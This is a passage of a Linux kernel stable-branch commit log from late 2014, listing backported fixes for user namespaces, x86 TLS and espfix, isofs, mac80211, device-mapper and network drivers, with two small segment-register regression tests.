change will have no affect. This is part of a fix for CVE-2014-8989. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 877b69b791120af0c01a8fc3373310902f4a3531 Author: Eric W. Biederman Date: Fri Dec 5 18:01:11 2014 -0600 userns: Don't allow setgroups until a gid mapping has been setablished commit 273d2c67c3e179adb1e74f403d1e9a06e3f841b5 upstream. setgroups is unique in not needing a valid mapping before it can be called, in the case of setgroups(0, NULL) which drops all supplemental groups. The design of the user namespace assumes that CAP_SETGID can not actually be used until a gid mapping is established. Therefore add a helper function to see if the user namespace gid mapping has been established and call that function in the setgroups permission check. This is part of the fix for CVE-2014-8989, being able to drop groups without privilege using user namespaces. Reviewed-by: Andy Lutomirski Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e25b6c85b94bbd7e5894055b59797c2e53ae7a24 Author: Eric W. Biederman Date: Fri Dec 5 17:51:47 2014 -0600 userns: Document what the invariant required for safe unprivileged mappings. commit 0542f17bf2c1f2430d368f44c8fcf2f82ec9e53e upstream. The rule is simple. Don't allow anything that wouldn't be allowed without unprivileged mappings. It was previously overlooked that establishing gid mappings would allow dropping groups and potentially gaining permission to files and directories that had lesser permissions for a specific group than for all other users. This is the rule needed to fix CVE-2014-8989 and prevent any other security issues with new_idmap_permitted. The reason for this rule is that the unix permission model is old and there are programs out there somewhere that take advantage of every little corner of it. So allowing a uid or gid mapping to be established without privielge that would allow anything that would not be allowed without that mapping will result in expectations from some code somewhere being violated. Violated expectations about the behavior of the OS is a long way to say a security issue. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a9bb0a1b0caf4659f22a064ea44ce773c2ec42b Author: Eric W. Biederman Date: Fri Dec 5 17:19:27 2014 -0600 groups: Consolidate the setgroups permission checks commit 7ff4d90b4c24a03666f296c3d4878cd39001e81e upstream. Today there are 3 instances of setgroups and due to an oversight their permission checking has diverged. Add a common function so that they may all share the same permission checking code. This corrects the current oversight in the current permission checks and adds a helper to avoid this in the future. A user namespace security fix will update this new helper, shortly. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8890645444488030c9a633468138ffa7bd0c54e5 Author: Eric W. Biederman Date: Sat Oct 4 14:44:03 2014 -0700 umount: Disallow unprivileged mount force commit b2f5d4dc38e034eecb7987e513255265ff9aa1cf upstream. Forced unmount affects not just the mount namespace but the underlying superblock as well. Restrict forced unmount to the global root user for now. Otherwise it becomes possible a user in a less privileged mount namespace to force the shutdown of a superblock of a filesystem in a more privileged mount namespace, allowing a DOS attack on root. Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c3a5356e2584dce811b25002e74ee7d316e17af Author: Eric W. Biederman Date: Fri Aug 22 16:39:03 2014 -0500 mnt: Update unprivileged remount test commit 4a44a19b470a886997d6647a77bb3e38dcbfa8c5 upstream. - MNT_NODEV should be irrelevant except when reading back mount flags, no longer specify MNT_NODEV on remount. - Test MNT_NODEV on devpts where it is meaningful even for unprivileged mounts. - Add a test to verify that remount of a prexisting mount with the same flags is allowed and does not change those flags. - Cleanup up the definitions of MS_REC, MS_RELATIME, MS_STRICTATIME that are used when the code is built in an environment without them. - Correct the test error messages when tests fail. There were not 5 tests that tested MS_RELATIME. Signed-off-by: Eric W. Biederman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35d388551575edddec692c124b3bccfa7ab78576 Author: Eric W. Biederman Date: Wed Aug 13 01:33:38 2014 -0700 mnt: Implicitly add MNT_NODEV on remount when it was implicitly added by mount commit 3e1866410f11356a9fd869beb3e95983dc79c067 upstream. Now that remount is properly enforcing the rule that you can't remove nodev at least sandstorm.io is breaking when performing a remount. It turns out that there is an easy intuitive solution implicitly add nodev on remount when nodev was implicitly added on mount. Tested-by: Cedric Bosdonnat Tested-by: Richard Weinberger Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5bcb06718492961cd795703777e4819b4b9d3785 Author: Johannes Berg Date: Wed Dec 17 13:55:49 2014 +0100 mac80211: free management frame keys when removing station commit 28a9bc68124c319b2b3dc861e80828a8865fd1ba upstream. When writing the code to allow per-station GTKs, I neglected to take into account the management frame keys (index 4 and 5) when freeing the station and only added code to free the first four data frame keys. Fix this by iterating the array of keys over the right length. Fixes: e31b82136d1a ("cfg80211/mac80211: allow per-station GTKs") Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 48a9e5e343ef03b77cf7f4827afe0196fe2a5013 Author: Andreas Müller Date: Fri Dec 12 12:11:11 2014 +0100 mac80211: fix multicast LED blinking and counter commit d025933e29872cb1fe19fc54d80e4dfa4ee5779c upstream. As multicast-frames can't be fragmented, "dot11MulticastReceivedFrameCount" stopped being incremented after the use-after-free fix. Furthermore, the RX-LED will be triggered by every multicast frame (which wouldn't happen before) which wouldn't allow the LED to rest at all. Fixes https://bugzilla.kernel.org/show_bug.cgi?id=89431 which also had the patch. Fixes: b8fff407a180 ("mac80211: fix use-after-free in defragmentation") Signed-off-by: Andreas Müller [rewrite commit message] Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d6fa968230a40fc19dfeb56087ab2a8ea4c4e67 Author: Takashi Iwai Date: Thu Dec 4 18:25:19 2014 +0100 KEYS: Fix stale key registration at error path commit b26bdde5bb27f3f900e25a95e33a0c476c8c2c48 upstream. When loading encrypted-keys module, if the last check of aes_get_sizes() in init_encrypted() fails, the driver just returns an error without unregistering its key type. This results in the stale entry in the list. In addition to memory leaks, this leads to a kernel crash when registering a new key type later. This patch fixes the problem by swapping the calls of aes_get_sizes() and register_key_type(), and releasing resources properly at the error paths. Bugzilla: https://bugzilla.opensuse.org/show_bug.cgi?id=908163 Signed-off-by: Takashi Iwai Signed-off-by: Mimi Zohar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e695e71b369c327d21b749c9e2455eaae08d709 Author: Jan Kara Date: Thu Dec 18 17:26:10 2014 +0100 isofs: Fix unchecked printing of ER records commit 4e2024624e678f0ebb916e6192bd23c1f9fdf696 upstream. We didn't check length of rock ridge ER records before printing them. Thus corrupted isofs image can cause us to access and print some memory behind the buffer with obvious consequences. Reported-and-tested-by: Carl Henrik Lunde Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f1d07dbf3a2d7b5e9a4794c40f98ba5f2fd5dd9b Author: Andy Lutomirski Date: Wed Dec 17 14:48:30 2014 -0800 x86/tls: Don't validate lm in set_thread_area() after all commit 3fb2f4237bb452eb4e98f6a5dbd5a445b4fed9d0 upstream. It turns out that there's a lurking ABI issue. GCC, when compiling this in a 32-bit program: struct user_desc desc = { .entry_number = idx, .base_addr = base, .limit = 0xfffff, .seg_32bit = 1, .contents = 0, /* Data, grow-up */ .read_exec_only = 0, .limit_in_pages = 1, .seg_not_present = 0, .useable = 0, }; will leave .lm uninitialized. This means that anything in the kernel that reads user_desc.lm for 32-bit tasks is unreliable. Revert the .lm check in set_thread_area(). The value never did anything in the first place. Fixes: 0e58af4e1d21 ("x86/tls: Disallow unusual TLS segments") Signed-off-by: Andy Lutomirski Acked-by: Thomas Gleixner Cc: Linus Torvalds Link: http://lkml.kernel.org/r/d7875b60e28c512f6a6fc0baf5714d58e7eaadbb.1418856405.git.luto@amacapital.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b22087a3e8dee3dadfef4dd313b094582211b852 Author: Dan Carpenter Date: Sat Nov 29 15:50:21 2014 +0300 dm space map metadata: fix sm_bootstrap_get_nr_blocks() commit c1c6156fe4d4577444b769d7edd5dd503e57bbc9 upstream. This function isn't right and it causes a static checker warning: drivers/md/dm-thin.c:3016 maybe_resize_data_dev() error: potentially using uninitialized 'sb_data_size'. It should set "*count" and return zero on success the same as the sm_metadata_get_nr_blocks() function does earlier. Fixes: 3241b1d3e0aa ('dm: add persistent data library') Signed-off-by: Dan Carpenter Acked-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6293d1837a8e3b30afe43af6f189a24873089bf0 Author: Darrick J. Wong Date: Tue Nov 25 17:45:15 2014 -0800 dm bufio: fix memleak when using a dm_buffer's inline bio commit 445559cdcb98a141f5de415b94fd6eaccab87e6d upstream. When dm-bufio sets out to use the bio built into a struct dm_buffer to issue an IO, it needs to call bio_reset after it's done with the bio so that we can free things attached to the bio such as the integrity payload. Therefore, inject our own endio callback to take care of the bio_reset after calling submit_io's end_io callback. Test case: 1. modprobe scsi_debug delay=0 dif=1 dix=199 ato=1 dev_size_mb=300 2. Set up a dm-bufio client, e.g. dm-verity, on the scsi_debug device 3. Repeatedly read metadata and watch kmalloc-192 leak! Signed-off-by: Darrick J. Wong Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8daf6d3ae4c11e5fbf7e8cf692229dcc1d12d2c8 Author: Peng Tao Date: Mon Nov 17 11:05:17 2014 +0800 nfs41: fix nfs4_proc_layoutget error handling commit 4bd5a980de87d2b5af417485bde97b8eb3d6cf6a upstream. nfs4_layoutget_release() drops layout hdr refcnt. Grab the refcnt early so that it is safe to call .release in case nfs4_alloc_pages fails. Signed-off-by: Peng Tao Fixes: a47970ff78147 ("NFSv4.1: Hold reference to layout hdr in layoutget") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2793cca163980a316dcbfdfe86f76c5e58240d36 Author: Sumit.Saxena@avagotech.com Date: Mon Nov 17 15:24:23 2014 +0530 megaraid_sas: corrected return of wait_event from abort frame path commit 170c238701ec38b1829321b17c70671c101bac55 upstream. Corrected wait_event() call which was waiting for wrong completion status (0xFF). Signed-off-by: Sumit Saxena Signed-off-by: Kashyap Desai Reviewed-by: Tomas Henzl Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10b085ec37a2f018b64508e0df6e77e916b2de28 Author: Baruch Siach Date: Mon Sep 22 10:12:51 2014 +0300 mmc: block: add newline to sysfs display of force_ro commit 0031a98a85e9fca282624bfc887f9531b2768396 upstream. Make force_ro consistent with other sysfs entries. Fixes: 371a689f64b0d ('mmc: MMC boot partitions support') Cc: Andrei Warkentin Signed-off-by: Baruch Siach Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 41714a005a808766f0c6fbda39b65df752fea4ad Author: Dmitry Eremin-Solenikov Date: Fri Oct 24 21:19:57 2014 +0400 mfd: tc6393xb: Fail ohci suspend if full state restore is required commit 1a5fb99de4850cba710d91becfa2c65653048589 upstream. Some boards with TC6393XB chip require full state restore during system resume thanks to chip's VCC being cut off during suspend (Sharp SL-6000 tosa is one of them). Failing to do so would result in ohci Oops on resume due to internal memory contentes being changed. Fail ohci suspend on tc6393xb is full state restore is required. Recommended workaround is to unbind tmio-ohci driver before suspend and rebind it after resume. Signed-off-by: Dmitry Eremin-Solenikov Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 41c8b9b7edb34ed839aea3affd958a9959ffabcc Author: NeilBrown Date: Tue Sep 9 14:13:51 2014 +1000 md/bitmap: always wait for writes on unplug. commit 4b5060ddae2b03c5387321fafc089d242225697a upstream. If two threads call bitmap_unplug at the same time, then one might schedule all the writes, and the other might decide that it doesn't need to wait. But really it does. It rarely hurts to wait when it isn't absolutely necessary, and the current code doesn't really focus on 'absolutely necessary' anyway. So just wait always. This can potentially lead to data corruption if a crash happens at an awkward time and data was written before the bitmap was updated. It is very unlikely, but this should go to -stable just to be safe. Appropriate for any -stable. Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 87d9bbdf3b27f21abe7586c9f7a198ad99cf6d73 Author: Andy Lutomirski Date: Fri Dec 5 19:03:28 2014 -0800 x86, kvm: Clear paravirt_enabled on KVM guests for espfix32's benefit commit 29fa6825463c97e5157284db80107d1bfac5d77b upstream. paravirt_enabled has the following effects: - Disables the F00F bug workaround warning. There is no F00F bug workaround any more because Linux's standard IDT handling already works around the F00F bug, but the warning still exists. This is only cosmetic, and, in any event, there is no such thing as KVM on a CPU with the F00F bug. - Disables 32-bit APM BIOS detection. On a KVM paravirt system, there should be no APM BIOS anyway. - Disables tboot. I think that the tboot code should check the CPUID hypervisor bit directly if it matters. - paravirt_enabled disables espfix32. espfix32 should *not* be disabled under KVM paravirt. The last point is the purpose of this patch. It fixes a leak of the high 16 bits of the kernel stack address on 32-bit KVM paravirt guests. Fixes CVE-2014-8134. Suggested-by: Konrad Rzeszutek Wilk Signed-off-by: Andy Lutomirski Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a10f1c36b33be2da3e9ed521d8b9a452847f91e3 Author: Andy Lutomirski Date: Mon Dec 8 13:55:20 2014 -0800 x86_64, switch_to(): Load TLS descriptors before switching DS and ES commit f647d7c155f069c1a068030255c300663516420e upstream. Otherwise, if buggy user code points DS or ES into the TLS array, they would be corrupted after a context switch. This also significantly improves the comments and documents some gotchas in the code. Before this patch, the both tests below failed. With this patch, the es test passes, although the gsbase test still fails. ----- begin es test ----- /* * Copyright (c) 2014 Andy Lutomirski * GPL v2 */ static unsigned short GDT3(int idx) { return (idx << 3) | 3; } static int create_tls(int idx, unsigned int base) { struct user_desc desc = { .entry_number = idx, .base_addr = base, .limit = 0xfffff, .seg_32bit = 1, .contents = 0, /* Data, grow-up */ .read_exec_only = 0, .limit_in_pages = 1, .seg_not_present = 0, .useable = 0, }; if (syscall(SYS_set_thread_area, &desc) != 0) err(1, "set_thread_area"); return desc.entry_number; } int main() { int idx = create_tls(-1, 0); printf("Allocated GDT index %d\n", idx); unsigned short orig_es; asm volatile ("mov %%es,%0" : "=rm" (orig_es)); int errors = 0; int total = 1000; for (int i = 0; i < total; i++) { asm volatile ("mov %0,%%es" : : "rm" (GDT3(idx))); usleep(100); unsigned short es; asm volatile ("mov %%es,%0" : "=rm" (es)); asm volatile ("mov %0,%%es" : : "rm" (orig_es)); if (es != GDT3(idx)) { if (errors == 0) printf("[FAIL]\tES changed from 0x%hx to 0x%hx\n", GDT3(idx), es); errors++; } } if (errors) { printf("[FAIL]\tES was corrupted %d/%d times\n", errors, total); return 1; } else { printf("[OK]\tES was preserved\n"); return 0; } } ----- end es test ----- ----- begin gsbase test ----- /* * gsbase.c, a gsbase test * Copyright (c) 2014 Andy Lutomirski * GPL v2 */ static unsigned char *testptr, *testptr2; static unsigned char read_gs_testvals(void) { unsigned char ret; asm volatile ("movb %%gs:%1, %0" : "=r" (ret) : "m" (*testptr)); return ret; } int main() { int errors = 0; testptr = mmap((void *)0x200000000UL, 1, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if (testptr == MAP_FAILED) err(1, "mmap"); testptr2 = mmap((void *)0x300000000UL, 1, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if (testptr2 == MAP_FAILED) err(1, "mmap"); *testptr = 0; *testptr2 = 1; if (syscall(SYS_arch_prctl, ARCH_SET_GS, (unsigned long)testptr2 - (unsigned long)testptr) != 0) err(1, "ARCH_SET_GS"); usleep(100); if (read_gs_testvals() == 1) { printf("[OK]\tARCH_SET_GS worked\n"); } else { printf("[FAIL]\tARCH_SET_GS failed\n"); errors++; } asm volatile ("mov %0,%%gs" : : "r" (0)); if (read_gs_testvals() == 0) { printf("[OK]\tWriting 0 to gs worked\n"); } else { printf("[FAIL]\tWriting 0 to gs failed\n"); errors++; } usleep(100); if (read_gs_testvals() == 0) { printf("[OK]\tgsbase is still zero\n"); } else { printf("[FAIL]\tgsbase was corrupted\n"); errors++; } return errors == 0 ? 0 : 1; } ----- end gsbase test ----- Signed-off-by: Andy Lutomirski Cc: Andi Kleen Cc: Linus Torvalds Link: http://lkml.kernel.org/r/509d27c9fec78217691c3dad91cec87e1006b34a.1418075657.git.luto@amacapital.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd1da98d38bfe719cb5f42fea509a7378918586a Author: Andy Lutomirski Date: Thu Dec 4 16:48:17 2014 -0800 x86/tls: Disallow unusual TLS segments commit 0e58af4e1d2166e9e33375a0f121e4867010d4f8 upstream. Users have no business installing custom code segments into the GDT, and segments that are not present but are otherwise valid are a historical source of interesting attacks. For completeness, block attempts to set the L bit. (Prior to this patch, the L bit would have been silently dropped.) This is an ABI break. I've checked glibc, musl, and Wine, and none of them look like they'll have any trouble. Note to stable maintainers: this is a hardening patch that fixes no known bugs. Given the possibility of ABI issues, this probably shouldn't be backported quickly. Signed-off-by: Andy Lutomirski Acked-by: H. Peter Anvin Cc: Konrad Rzeszutek Wilk Cc: Linus Torvalds Cc: Willy Tarreau Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d4f17d9a5da9337d43729e138b988d7e33fcc26e Author: Andy Lutomirski Date: Thu Dec 4 16:48:16 2014 -0800 x86/tls: Validate TLS entries to protect espfix commit 41bdc78544b8a93a9c6814b8bbbfef966272abbe upstream. Installing a 16-bit RW data segment into the GDT defeats espfix. AFAICT this will not affect glibc, Wine, or dosemu at all. Signed-off-by: Andy Lutomirski Acked-by: H. Peter Anvin Cc: Konrad Rzeszutek Wilk Cc: Linus Torvalds Cc: Willy Tarreau Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 88ded3025a34fd525ed0bbb7d0d1b82e3e0e0982 Author: Jan Kara Date: Mon Dec 15 14:22:46 2014 +0100 isofs: Fix infinite looping over CE entries commit f54e18f1b831c92f6512d2eedb224cd63d607d3d upstream. Rock Ridge extensions define so called Continuation Entries (CE) which define where is further space with Rock Ridge data. Corrupted isofs image can contain arbitrarily long chain of these, including a one containing loop and thus causing kernel to end in an infinite loop when traversing these entries. Limit the traversal to 32 entries which should be more than enough space to store all the Rock Ridge data. Reported-by: P J P Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 80507b4935784bd38ca23bcbafbd9ff494ab9f3e Author: Greg Kroah-Hartman Date: Tue Dec 16 09:09:56 2014 -0800 Linux 3.10.63 Signed-off-by: Pranav Vashi commit 2bc6cc7d5a76b19189d44f2b1e33f5ca268ff2d1 Author: Takashi Iwai Date: Sat Dec 6 18:02:55 2014 +0100 ALSA: usb-audio: Don't resubmit pending URBs at MIDI error recovery commit 66139a48cee1530c91f37c145384b4ee7043f0b7 upstream. In snd_usbmidi_error_timer(), the driver tries to resubmit MIDI input URBs to reactivate the MIDI stream, but this causes the error when some of URBs are still pending like: WARNING: CPU: 0 PID: 0 at ../drivers/usb/core/urb.c:339 usb_submit_urb+0x5f/0x70() URB ef705c40 submitted while active CPU: 0 PID: 0 Comm: swapper/0 Not tainted 3.16.6-2-desktop #1 Hardware name: FOXCONN TPS01/TPS01, BIOS 080015 03/23/2010 c0984bfa f4009ed4 c078deaf f4009ee4 c024c884 c09a135c f4009f00 00000000 c0984bfa 00000153 c061ac4f c061ac4f 00000009 00000001 ef705c40 e854d1c0 f4009eec c024c8d3 00000009 f4009ee4 c09a135c f4009f00 f4009f04 c061ac4f Call Trace: [] try_stack_unwind+0x156/0x170 [] dump_trace+0x5a/0x1b0 [] show_trace_log_lvl+0x46/0x50 [] show_stack_log_lvl+0x51/0xe0 [] show_stack+0x27/0x50 [] dump_stack+0x45/0x65 [] warn_slowpath_common+0x84/0xa0 [] warn_slowpath_fmt+0x33/0x40 [] usb_submit_urb+0x5f/0x70 [] snd_usbmidi_submit_urb+0x14/0x60 [snd_usbmidi_lib] [] snd_usbmidi_error_timer+0x6a/0xa0 [snd_usbmidi_lib] [] call_timer_fn+0x30/0x130 [] run_timer_softirq+0x1c2/0x260 [] __do_softirq+0xc3/0x270 [] do_softirq_own_stack+0x22/0x30 [] irq_exit+0x8d/0xa0 [] smp_apic_timer_interrupt+0x38/0x50 [] apic_timer_interrupt+0x34/0x3c [] cpuidle_enter_state+0x3e/0xd0 [] cpu_idle_loop+0x29d/0x3e0 [] cpu_startup_entry+0x53/0x60 [] start_kernel+0x415/0x41a For avoiding these errors, check the pending URBs and skip resubmitting such ones. Reported-and-tested-by: Stefan Seyfried Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3eb94da780fab70447215e0c5b76d844ac92cb72 Author: Anton Blanchard Date: Thu Nov 27 08:11:28 2014 +1100 powerpc: 32 bit getcpu VDSO function uses 64 bit instructions commit 152d44a853e42952f6c8a504fb1f8eefd21fd5fd upstream. I used some 64 bit instructions when adding the 32 bit getcpu VDSO function. Fix it. Fixes: 18ad51dd342a ("powerpc: Add VDSO version of getcpu") Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 914669000784065251e4c02b5d76f674456f6d71 Author: Todd Fujinaka Date: Tue Jun 17 06:58:11 2014 +0000 igb: bring link up when PHY is powered up commit aec653c43b0c55667355e26d7de1236bda9fb4e3 upstream. Call igb_setup_link() when the PHY is powered up. Signed-off-by: Todd Fujinaka Reported-by: Jeff Westfahl Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher Cc: Vincent Donnefort Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 06e485f927b5064b29536aac7ac805340196394a Author: Jan Kara Date: Tue Dec 3 11:20:06 2013 +0100 ext2: Fix oops in ext2_get_block() called from ext2_quota_write() commit df4e7ac0bb70abc97fbfd9ef09671fc084b3f9db upstream. ext2_quota_write() doesn't properly setup bh it passes to ext2_get_block() and thus we hit assertion BUG_ON(maxblocks == 0) in ext2_get_blocks() (or we could actually ask for mapping arbitrary number of blocks depending on whatever value was on stack). Fix ext2_quota_write() to properly fill in number of blocks to map. Reviewed-by: "Theodore Ts'o" Reviewed-by: Christoph Hellwig Reported-by: Christoph Hellwig Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9cd5f015f7c935600591c9f545ff0a2669440e7b Author: Nadav Har'El Date: Mon Aug 5 11:07:17 2013 +0300 nEPT: Nested INVEPT commit bfd0a56b90005f8c8a004baf407ad90045c2b11e upstream. If we let L1 use EPT, we should probably also support the INVEPT instruction. In our current nested EPT implementation, when L1 changes its EPT table for L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in the course of this modification already calls INVEPT. But if last level of shadow page is unsync not all L1's changes to EPT12 are intercepted, which means roots need to be synced when L1 calls INVEPT. Global INVEPT should not be different since roots are synced by kvm_mmu_load() each time EPTP02 changes. Reviewed-by: Xiao Guangrong Signed-off-by: Nadav Har'El Signed-off-by: Jun Nakajima Signed-off-by: Xinhao Xu Signed-off-by: Yang Zhang Signed-off-by: Gleb Natapov Signed-off-by: Paolo Bonzini [bwh: Backported to 3.2: - Adjust context, filename - Simplify handle_invept() as recommended by Paolo - nEPT is not supported so we always raise #UD] Signed-off-by: Ben Hutchings Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 813f145f60ef6dd4bc1338c1a3e5d63ca0b9b119 Author: Daniel Borkmann Date: Wed Dec 3 12:13:58 2014 +0100 net: sctp: use MAX_HEADER for headroom reserve in output path [ Upstream commit 9772b54c55266ce80c639a80aa68eeb908f8ecf5 ] To accomodate for enough headroom for tunnels, use MAX_HEADER instead of LL_MAX_HEADER. Robert reported that he has hit after roughly 40hrs of trinity an skb_under_panic() via SCTP output path (see reference). I couldn't reproduce it from here, but not using MAX_HEADER as elsewhere in other protocols might be one possible cause for this. In any case, it looks like accounting on chunks themself seems to look good as the skb already passed the SCTP output path and did not hit any skb_over_panic(). Given tunneling was enabled in his .config, the headroom would have been expanded by MAX_HEADER in this case. Reported-by: Robert ÅšwiÄ™cki Reference: https://lkml.org/lkml/2014/12/1/507 Fixes: 594ccc14dfe4d ("[SCTP] Replace incorrect use of dev_alloc_skb with alloc_skb in sctp_packet_transmit().") Signed-off-by: Daniel Borkmann Acked-by: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0ec34ee2df57a68b5547a45ebb45023cb5e3ef6 Author: willy tarreau Date: Tue Dec 2 08:13:04 2014 +0100 net: mvneta: fix Tx interrupt delay [ Upstream commit aebea2ba0f7495e1a1c9ea5e753d146cb2f6b845 ] The mvneta driver sets the amount of Tx coalesce packets to 16 by default. Normally that does not cause any trouble since the driver uses a much larger Tx ring size (532 packets). But some sockets might run with very small buffers, much smaller than the equivalent of 16 packets. This is what ping is doing for example, by setting SNDBUF to 324 bytes rounded up to 2kB by the kernel. The problem is that there is no documented method to force a specific packet to emit an interrupt (eg: the last of the ring) nor is it possible to make the NIC emit an interrupt after a given delay. In this case, it causes trouble, because when ping sends packets over its raw socket, the few first packets leave the system, and the first 15 packets will be emitted without an IRQ being generated, so without the skbs being freed. And since the socket's buffer is small, there's no way to reach that amount of packets, and the ping ends up with "send: no buffer available" after sending 6 packets. Running with 3 instances of ping in parallel is enough to hide the problem, because with 6 packets per instance, that's 18 packets total, which is enough to grant a Tx interrupt before all are sent. The original driver in the LSP kernel worked around this design flaw by using a software timer to clean up the Tx descriptors. This timer was slow and caused terrible network performance on some Tx-bound workloads (such as routing) but was enough to make tools like ping work correctly. Instead here, we simply set the packet counts before interrupt to 1. This ensures that each packet sent will produce an interrupt. NAPI takes care of coalescing interrupts since the interrupt is disabled once generated. No measurable performance impact nor CPU usage were observed on small nor large packets, including when saturating the link on Tx, and this fixes tools like ping which rely on too small a send buffer. If one wants to increase this value for certain workloads where it is safe to do so, "ethtool -C $dev tx-frames" will override this default setting. This fix needs to be applied to stable kernels starting with 3.10. Tested-By: Maggie Mae Roxas Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3878f16837b248a697901475199f47ea1670b8b2 Author: Nicolas Dichtel Date: Thu Nov 27 10:16:15 2014 +0100 rtnetlink: release net refcnt on error in do_setlink() [ Upstream commit e0ebde0e131b529fd721b24f62872def5ec3718c ] rtnl_link_get_net() holds a reference on the 'struct net', we need to release it in case of error. CC: Eric W. Biederman Fixes: b51642f6d77b ("net: Enable a userns root rtnl calls that are safe for unprivilged users") Signed-off-by: Nicolas Dichtel Reviewed-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a7899ed5ffe328d5c82430554e78cf6cb075795d Author: Jack Morgenstein Date: Tue Nov 25 11:54:31 2014 +0200 net/mlx4_core: Limit count field to 24 bits in qp_alloc_res [ Upstream commit 2d5c57d7fbfaa642fb7f0673df24f32b83d9066c ] Some VF drivers use the upper byte of "param1" (the qp count field) in mlx4_qp_reserve_range() to pass flags which are used to optimize the range allocation. Under the current code, if any of these flags are set, the 32-bit count field yields a count greater than 2^24, which is out of range, and this VF fails. As these flags represent a "best-effort" allocation hint anyway, they may safely be ignored. Therefore, the PF driver may simply mask out the bits. Fixes: c82e9aa0a8 "mlx4_core: resource tracking for HCA resources used by guests" Signed-off-by: Jack Morgenstein Signed-off-by: Or Gerlitz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12be1c9d43bc0264463a1f8e7a547ec4555631e1 Author: Thadeu Lima de Souza Cascardo Date: Tue Nov 25 14:21:11 2014 -0200 tg3: fix ring init when there are more TX than RX channels [ Upstream commit a620a6bc1c94c22d6c312892be1e0ae171523125 ] If TX channels are set to 4 and RX channels are set to less than 4, using ethtool -L, the driver will try to initialize more RX channels than it has allocated, causing an oops. This fix only initializes the RX ring if it has been allocated. Signed-off-by: Thadeu Lima de Souza Cascardo Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcbe6f62966b53d63a4697974e13c042fdc3dba1 Author: Yuri Chislov Date: Mon Nov 24 11:25:15 2014 +0100 ipv6: gre: fix wrong skb->protocol in WCCP [ Upstream commit be6572fdb1bfbe23b2624d477de50af50b02f5d6 ] When using GRE redirection in WCCP, it sets the wrong skb->protocol, that is, ETH_P_IP instead of ETH_P_IPV6 for the encapuslated traffic. Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Cc: Dmitry Kozlov Signed-off-by: Yuri Chislov Tested-by: Yuri Chislov Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a119b9b75957ccacc91cb5e03923d3d0e58797f Author: Dmitry Torokhov Date: Fri Nov 14 13:39:05 2014 -0800 sata_fsl: fix error handling of irq_of_parse_and_map commit aad0b624129709c94c2e19e583b6053520353fa8 upstream. irq_of_parse_and_map() returns 0 on error (the result is unsigned int), so testing for negative result never works. Signed-off-by: Dmitry Torokhov Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav 